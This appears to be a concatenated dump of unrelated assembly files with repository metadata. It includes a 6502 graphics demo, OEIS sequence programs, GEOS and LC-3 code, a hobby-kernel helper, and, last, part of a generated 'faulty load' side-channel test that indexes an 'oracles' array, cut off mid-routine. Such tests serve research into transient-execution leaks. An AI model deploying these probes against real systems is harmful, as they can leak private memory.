] | 1 | 2022-03-13T19:31:36.000Z | 2022-03-13T19:31:36.000Z | examples/6502asm/zookeeper.asm | Eggbertx/GD6502 | 4489bde981c3b4927189f53598da956b7b945f49 | [
"BSD-2-Clause"
] | null | null | null | examples/6502asm/zookeeper.asm | Eggbertx/GD6502 | 4489bde981c3b4927189f53598da956b7b945f49 | [
"BSD-2-Clause"
] | null | null | null | ; We all love zookeeper !!!!
; Submitted by Anonymous
ldx #0
lda #0
hupsu:
sta $200,x
sta $300,x
sta $400,x
sta $500,x
bne hupsu
lda #1
ldx #0
fill:
txa
tay
lda seko,x
tax
lda kuva,x
sta $200,x
lda kuva_0,x
sta $300,x
lda kuva_1,x
sta $400,x
lda kuva_2,x
sta $500,x
tya
tax
inx
bne fill
rts
seko:
dcb 46,93,219,97,168,170,196,63,204,201,206
dcb 56,238,25,2,186,209,191,138,226,80,128
dcb 58,171,81,115,42,44,102,193,69,231,107
dcb 78,5,218,103,11,13,221,130,149,16,227
dcb 105,213,232,182,17,255,27,190,205,137,192
dcb 222,233,94,52,229,96,18,220,202,122,166
dcb 43,153,131,246,177,4,70,22,7,86,173
dcb 141,151,164,32,143,40,156,185,121,132,165
dcb 62,249,252,139,154,251,85,236,12,134,245
dcb 184,39,195,119,242,244,162,74,1,77,51
dcb 33,75,35,76,34,10,89,47,189,237,71
dcb 159,9,38,101,180,116,147,140,183,157,123
dcb 14,19,126,199,100,45,241,28,125,210,155
dcb 41,254,31,144,55,247,111,95,57,53,223
dcb 152,108,203,36,214,37,113,200,66,67,197
dcb 29,250,20,212,68,87,207,163,145,211,48
dcb 136,24,98,215,169,83,124,224,181,187,142
dcb 84,240,54,110,234,59,243,79,50,30,114
dcb 6,178,0,172,148,146,179,120,60,225,65
dcb 230,208,15,72,117,248,198,106,129,92,127
dcb 175,160,49,216,176,133,64,109,112,82,90
dcb 235,104,158,194,8,161,167,88,91,174,23
dcb 73,118,150,3,99,61,217,26,239,21,253
dcb 135,188,228
kuva:
dcb 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
dcb 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
dcb 1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1
dcb 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1
dcb 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1
dcb 1,1,1,1,0,0,11,11,11,0,0,0,0,0,0,1,0,0,0,11,11,11,0,0,0,0,0,1,1,1,1,1
dcb 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1
dcb 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1
kuva_0:
dcb
dcb 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1
dcb 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1
dcb 1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,1,1
dcb 1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,15,0,0,0,1,1
dcb 1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,15,0,0,0,1,1
dcb 1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,15,0,0,0,1,1
dcb 1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,15,0,0,0,1,1
dcb 1,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1
kuva_1:
dcb
dcb 1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,15,0,0,0,1,1
dcb 1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,15,0,0,0,1,1
dcb 1,0,0,0,1,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,15,15,15,1,1,1,1,1,1,1,1,1,1,15,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,15,15,15,1,1,1,1,1,1,1,1,1,1,15,0,0,0,1,1
kuva_2:
dcb
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,15,15,0,15,15,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,1,1,1,1,1,1,1,1,1,15,15,0,15,15,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,15,1,1,1,1,1,1,1,1,15,15,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1
dcb 1,0,0,0,0,15,15,15,15,15,15,1,15,1,1,1,1,1,15,1,15,15,15,1,1,15,0,0,0,0,1,1
dcb 1,0,0,0,0,15,15,15,15,15,15,1,15,1,1,1,1,1,15,1,15,15,15,1,1,15,0,0,0,0,1,1
dcb 1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1
dcb 1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1
| 36.068627 | 80 | 0.581952 |
aef76f8b3a5fb5f46b15b0ac1eda9cc19b86b52c | 474 | asm | Assembly | oeis/007/A007895.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/007/A007895.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/007/A007895.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A007895: Number of terms in Zeckendorf representation of n (write n as a sum of non-consecutive distinct Fibonacci numbers).
; Submitted by Jon Maiga
; 0,1,1,1,2,1,2,2,1,2,2,2,3,1,2,2,2,3,2,3,3,1,2,2,2,3,2,3,3,2,3,3,3,4,1,2,2,2,3,2,3,3,2,3,3,3,4,2,3,3,3,4,3,4,4,1,2,2,2,3,2,3,3,2,3,3,3,4,2,3,3,3,4,3,4,4,2,3,3,3,4,3,4,4,3,4,4,4,5,1,2,2,2,3,2,3,3,2,3,3
lpb $0
mov $2,$0
seq $2,66628 ; a(n) = n - the largest Fibonacci number <= n.
mov $0,$2
add $1,1
lpe
mov $0,$1
| 39.5 | 201 | 0.601266 |
b8494ec221c5d554f52d5ace1697a9321049b9fc | 867 | asm | Assembly | programs/oeis/127/A127922.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/127/A127922.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/127/A127922.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A127922: 1/24 of product of three numbers: n-th prime, previous and following number.
; 1,5,14,55,91,204,285,506,1015,1240,2109,2870,3311,4324,6201,8555,9455,12529,14910,16206,20540,23821,29370,38024,42925,45526,51039,53955,60116,85344,93665,107134,111895,137825,143450,161239,180441,194054,215731,238965,247065,290320,299536,318549,328350,391405,462056,487369,500365,527046,568820,583220,658875,707264,757966,811035,829260,885569,924490,944371,1048061,1205589,1253330,1277666,1327279,1511015,1594684,1740899,1771175,1832776,1927830,2059604,2162281,2268315,2340896,2452645,2607099,2686700,2850730,3064985,3109085,3335940,3382596,3525170,3622411,3771600,3976814,4082155,4135516,4243629,4579240,4812534,4932095,5177125,5302626,5494655,5892510,5960631,6597495,6819449
add $0,1
mul $0,2
seq $0,93515 ; Numbers k such that either k or k-1 is a prime.
bin $0,3
div $0,4
| 96.333333 | 678 | 0.816609 |
51a38b76b5394aa879a285da8972778f244b3f5a | 2,226 | asm | Assembly | programs/oeis/236/A236222.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/236/A236222.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/236/A236222.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A236222: Sum of the fourteenth powers of the first n primes.
; 16384,4799353,6108314978,684331387827,380434164971068,4317810550670357,172695637110071286,971702322892955407,12564538647431705216,310122771323231168697,1067066706544027489018,10079128002539035788707,48008355197454594590868,121893712541593098356317,378560698729260507690686,1758506960786404276077255,7951893173678217663540016,17828725707039535758652457,54560950869936431480586786,137282161565506760408295667,259327175605253349081991076,628117295953931740335564357,1364482559265568226397163486,3320893545906009639741353327,9849256320512085784517394096,21343998452888308904982305497,36469895701439421337238450666,62255237203451887730781003315,95672507475814457115706828876,151020032942162105077147392365,434976715289286812019698635374,873303630607463037202421093095,1693821304551908104958594658584,2698916515221370525517904984225,5357239569895497053480934779626,8561127099875750110500171579227,14089472050041002445158192304276,23435486790517729734809712332365,36558410258704744134910256598494,58068659558207859637140859850103,92737748867354920208785268107984,133241947873416298083085429266905,219235748062604609242350885240666,318730993139129559940868074813915,451325998822190700794704396732484,604062581587210642747663088369685,950763006694571678010319021399726,1702850008103106397226533461261935,2667482754208487142948396283608744,3758161255636252471410719126441425,5148059141610697176858953499500354,7132191378377319204365882273762595,9361851138879576337183695121503556,13301269463403758102570423470944557,18784843691366648995902013904879406,26359806045905149612677674317901695,36747805545429375008703697509929816,48270925217941769335841239313989497,63928221396224599057521879462720706,83065865710457921356530827392547027,104201247500415371491194527265602556,138568648077856028665584580517156005,204628448408809252546623001864128254,283813908852083324031417941055211695,370434416704220310345221170783763584,473908043376952926708954021314689913,663400494217398846098254061000482434,907079779500792512306507122306839523
mov $2,$0
mov $3,$0
add $3,1
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
seq $0,40 ; The prime numbers.
pow $0,14
add $1,$0
lpe
mov $0,$1
| 139.125 | 2,019 | 0.930818 |
f9c66e03b97f8e3272b7107699fe52e94b499133 | 375 | asm | Assembly | programs/oeis/195/A195503.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/195/A195503.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/195/A195503.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A195503: Numerators b(n) of Pythagorean approximations b(n)/a(n) to sqrt(3).
; 4,15,56,209,780,2911,10864,40545,151316,564719,2107560,7865521,29354524,109552575,408855776,1525870529,5694626340,21252634831,79315912984,296011017105,1104728155436,4122901604639,15386878263120,57424611447841
add $0,2
seq $0,72110 ; a(n) = 4*a(n-1) - a(n-2) - 2, with a(0)=1, a(1)=2.
sub $0,1
| 53.571429 | 210 | 0.749333 |
b1597adacbb8d2e00f27ef5765841a118d7448de | 456 | asm | Assembly | oeis/081/A081057.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/081/A081057.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/081/A081057.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A081057: E.g.f.: Sum_{n>=0} a(n)*x^n/n! = {Sum_{n>=0} F(n+1)*x^n/n!}^2, where F(n) is the n-th Fibonacci number.
; Submitted by Jamie Morken(w4)
; 1,2,6,18,58,186,602,1946,6298,20378,65946,213402,690586,2234778,7231898,23402906,75733402,245078426,793090458,2566494618,8305351066,26876680602,86974765466,281456253338,910811568538,2947448150426
lpb $0
sub $0,1
mul $2,2
mov $3,$2
mul $4,2
add $4,1
mov $2,$4
add $4,$3
lpe
mov $0,$4
add $0,1
| 28.5 | 197 | 0.679825 |
627ca20c20e7b3d4facdd05251cdf2ad60142a34 | 1,759 | asm | Assembly | Library/Trans/Graphics/Vector/Wmf/Import/importMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Trans/Graphics/Vector/Wmf/Import/importMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Trans/Graphics/Vector/Wmf/Import/importMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: importMain.asm
AUTHOR: Maryann Simmons, Jul 13, 1992
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
MS 7/13/92 Initial revision
DESCRIPTION:
$Id: importMain.asm,v 1.1 97/04/07 11:24:53 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;----------------------------------------------------------------------------
; Code
;----------------------------------------------------------------------------
include importWMF.asm
ImportCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ImportVectorConvertToTransferItem
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: This routine converts the passed WMF metafile to a VMChain
transfer item.
CALLED BY: GLOBAL( Impex )
PASS: BP - handle of WMF metafile
DI - handle of VM File
RETURN:
DX:CX - created transfer Item
AX - TransError
BX - mem handle with text error string if AX = TE_CUSTOM
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
MS 7/27/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ImportVectorConvertToTransferItem proc far
.enter
mov bx,bp
call ImportWMF
.leave
ret
ImportVectorConvertToTransferItem endp
public ImportVectorConvertToTransferItem
ImportCode ends
| 21.9875 | 79 | 0.465605 |
1d1d2836ca437c77891f03b1e00b31605a36633d | 598 | asm | Assembly | oeis/006/A006044.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/006/A006044.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/006/A006044.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A006044: a(n) = 4^(n-4)*(n-1)*(n-2)*(n-3).
; 6,96,960,7680,53760,344064,2064384,11796480,64880640,346030080,1799356416,9160359936,45801799680,225485783040,1095216660480,5257039970304,24970939858944,117510305218560,548381424353280,2539871860162560,11683410556747776,53409876830846976,242772167412940800,1097752409171558400,4939885841272012800,22130688568898617344,98736918230470754304,438830747690981130240,1943393311202916433920,8577735994274941501440,37742038374809742606336,165577974805616935305216,724403639774574091960320
mov $1,-4
pow $1,$0
mov $2,-4
bin $2,$0
mul $1,$2
mul $1,6
mov $0,$1
| 54.363636 | 482 | 0.837793 |
b0e4c12b480e55d2e523f8fd6985c1dba7f1d52e | 900 | asm | Assembly | Kernel/asm/libasm.asm | camilaDiToro/Kernel-Pure64 | 2d94b13c2dee56c8395f92f55b6c78a2da061bb3 | [
"BSD-3-Clause"
] | null | null | null | Kernel/asm/libasm.asm | camilaDiToro/Kernel-Pure64 | 2d94b13c2dee56c8395f92f55b6c78a2da061bb3 | [
"BSD-3-Clause"
] | null | null | null | Kernel/asm/libasm.asm | camilaDiToro/Kernel-Pure64 | 2d94b13c2dee56c8395f92f55b6c78a2da061bb3 | [
"BSD-3-Clause"
] | 1 | 2021-12-08T01:05:48.000Z | 2021-12-08T01:05:48.000Z | GLOBAL cpuVendor
GLOBAL sys_RTClock
GLOBAL sys_readKey
GLOBAL save_registers
; systemCalls.c
EXTERN store_registers
section .text
sys_RTClock:
push rbp
mov rbp, rsp
mov al, dil
out 70h, al
in al, 71h
mov rsp, rbp
pop rbp
ret
sys_readKey:
push rbp
mov rbp, rsp
xor rax, rax
.loop:
in al, 0x64 ; Read 8042 status register. Can be read at any time.
and al, 0x01 ; Output register 60h should only be read IIF Bit 0 of status port is set to 1.
cmp al, 0
je .loop
in al, 0x60
mov rsp, rbp
pop rbp
ret
cpuVendor:
push rbp
mov rbp, rsp
push rbx
mov rax, 0
cpuid
mov [rdi], ebx
mov [rdi + 4], edx
mov [rdi + 8], ecx
mov byte [rdi+13], 0
mov rax, rdi
pop rbx
mov rsp, rbp
pop rbp
ret
; Save registers for inforeg
save_registers:
push rbp
mov rbp, rsp
mov rdi, rsp
add rdi, 112 ; 14*8 = 112
call store_registers
mov rsp, rbp
pop rbp
ret | 12.162162 | 97 | 0.676667 |
3da5808a48292e02d6279873170964a0ee3750cf | 4,015 | asm | Assembly | assembler/test/lab2_lcc.asm | iBug/ICS-2018 | 93055558dc7012298f963dc2b192c465e6540b23 | [
"MIT"
] | null | null | null | assembler/test/lab2_lcc.asm | iBug/ICS-2018 | 93055558dc7012298f963dc2b192c465e6540b23 | [
"MIT"
] | null | null | null | assembler/test/lab2_lcc.asm | iBug/ICS-2018 | 93055558dc7012298f963dc2b192c465e6540b23 | [
"MIT"
] | null | null | null | .Orig x3000
INIT_CODE
LEA R6, #-1
ADD R5, R6, #0
ADD R6, R6, R6
ADD R6, R6, R6
ADD R6, R6, R5
ADD R6, R6, #-1
ADD R5, R5, R5
ADD R5, R6, #0
LD R4, GLOBAL_DATA_POINTER
LD R7, GLOBAL_MAIN_POINTER
jsrr R7
HALT
GLOBAL_DATA_POINTER .FILL GLOBAL_DATA_START
GLOBAL_MAIN_POINTER .FILL main
;;;;;;;;;;;;;;;;;;;;;;;;;;;;func;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lc3_func
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-3
ADD R0, R4, #4
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R3, R4, #8
ldr R3, R3, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R3, R6, #0
NOT R3, R3
ADD R3, R3, #1
ADD R0, R7, R3
LDR R3, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
ldr R3, R5, #5
add R7, R7, R3
ldr R3, R5, #6
add R7, R7, R3
ldr R3, R5, #7
add R7, R7, R3
ldr R3, R5, #8
add R7, R7, R3
ldr R3, R5, #9
add R7, R7, R3
ldr R3, R5, #10
add R7, R7, R3
str R7, R5, #0
ldr R7, R5, #4
ADD R3, R4, #7
ldr R3, R3, #0
NOT R7, R7
ADD R7, R7, #1
ADD R7, R7, R3
BRn L7
ADD R7, R4, #1
LDR R7, R7, #0
jmp R7
L7
ldr R7, R5, #10
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #9
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #8
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #7
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #6
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #5
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #4
ADD R3, R4, #7
ldr R3, R3, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R3, R6, #0
NOT R3, R3
ADD R3, R3, #1
ADD R0, R7, R3
LDR R3, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #0
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
str R7, R5, #-1
ldr R7, R5, #10
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #9
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #8
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #7
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #6
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #5
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #4
ADD R3, R4, #6
ldr R3, R3, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R3, R6, #0
NOT R3, R3
ADD R3, R3, #1
ADD R0, R7, R3
LDR R3, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #0
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
str R7, R5, #-2
ldr R7, R5, #-1
ldr R3, R5, #-2
add R7, R7, R3
ldr R3, R5, #0
add R7, R7, R3
ADD R3, R4, #7
ldr R3, R3, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R3, R6, #0
NOT R3, R3
ADD R3, R3, #1
ADD R0, R7, R3
LDR R3, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
ADD R0, R4, #2
LDR R0, R0, #0
JMP R0
lc3_L3_source
ldr R7, R5, #0
lc3_L1_source
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
;;;;;;;;;;;;;;;;;;;;;;;;;;;;main;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main
ADD R6, R6, #-2
STR R7, R6, #0
ADD R6, R6, #-1
STR R5, R6, #0
ADD R5, R6, #-1
ADD R6, R6, #-1
ADD R0, R4, #4
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
ADD R3, R4, #8
ldr R3, R3, #0
ADD R6, R6, #-1
STR R0, R6, #0
ADD R6, R6, #-1
STR R3, R6, #0
NOT R3, R3
ADD R3, R3, #1
ADD R0, R7, R3
LDR R3, R6, #0
ADD R6, R6, #1
ADD R7, R0, #0
LDR R0, R6, #0
ADD R6, R6, #1
str R7, R5, #0
ADD R7, R4, #5
ldr R7, R7, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R6, R6, #-1
STR R7, R6, #0
ldr R7, R5, #0
ADD R6, R6, #-1
STR R7, R6, #0
ADD R0, R4, #0
LDR R0, R0, #0
jsrr R0
LDR R7, R6, #0
ADD R6, R6, #1
lc3_L8_source
STR R7, R5, #3
ADD R6, R5, #1
LDR R5, R6, #0
ADD R6, R6, #1
LDR R7, R6, #0
ADD R6, R6, #1
RET
; char getchar(void)
lc3_getchar
STR R7, R6, #-3
STR R0, R6, #-2
GETC
OUT
STR R0, R6, #-1
LDR R0, R6, #-2
LDR R7, R6, #-3
ADD R6, R6, #-1
RET
GLOBAL_DATA_START
func .FILL lc3_func
L3_source .FILL lc3_L3_source
L1_source .FILL lc3_L1_source
L8_source .FILL lc3_L8_source
getchar .FILL lc3_getchar
L9_source .FILL #0
L6_source .FILL #2
L5_source .FILL #1
L2_source .FILL #48
.END
| 14.87037 | 60 | 0.559651 |
cd0440218ade9b055c2a1ccdb6f812bd76653a99 | 6,262 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_400.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_400.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0xca.log_21829_400.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r15
push %rax
push %rbx
push %rcx
push %rsi
lea addresses_A_ht+0xf453, %rcx
nop
nop
add $50852, %r12
movups (%rcx), %xmm6
vpextrq $1, %xmm6, %rax
sub $34033, %rbx
lea addresses_WT_ht+0x17a53, %rax
nop
nop
nop
nop
add $35320, %r15
movb $0x61, (%rax)
nop
nop
nop
nop
nop
cmp $2486, %rax
lea addresses_A_ht+0x5a53, %rbx
nop
nop
xor %r11, %r11
mov (%rbx), %ecx
nop
nop
nop
nop
inc %rcx
lea addresses_normal_ht+0xd653, %r11
nop
nop
nop
nop
nop
cmp %rbx, %rbx
vmovups (%r11), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
inc %r11
lea addresses_A_ht+0xc853, %rbx
nop
nop
cmp $50281, %rax
mov (%rbx), %r15
nop
nop
xor $59215, %r12
lea addresses_WC_ht+0x3153, %r12
nop
nop
nop
nop
cmp %rax, %rax
mov (%r12), %bx
xor %r11, %r11
lea addresses_WT_ht+0x10b53, %rax
nop
nop
nop
nop
nop
sub %rsi, %rsi
movups (%rax), %xmm0
vpextrq $0, %xmm0, %r11
nop
nop
nop
add $3930, %rax
lea addresses_A_ht+0x1cb23, %rcx
nop
nop
nop
nop
cmp %rax, %rax
movb $0x61, (%rcx)
and %rcx, %rcx
lea addresses_UC_ht+0x10e93, %rax
sub %rbx, %rbx
movl $0x61626364, (%rax)
add %r12, %r12
lea addresses_D_ht+0x1ae53, %r12
cmp %rsi, %rsi
vmovups (%r12), %ymm5
vextracti128 $0, %ymm5, %xmm5
vpextrq $1, %xmm5, %r15
nop
nop
nop
nop
nop
add %r11, %r11
pop %rsi
pop %rcx
pop %rbx
pop %rax
pop %r15
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %rbp
push %rbx
push %rcx
// Faulty Load
lea addresses_normal+0x19653, %rbp
nop
nop
sub $39268, %r14
mov (%rbp), %r8d
lea oracles, %r11
and $0xff, %r8
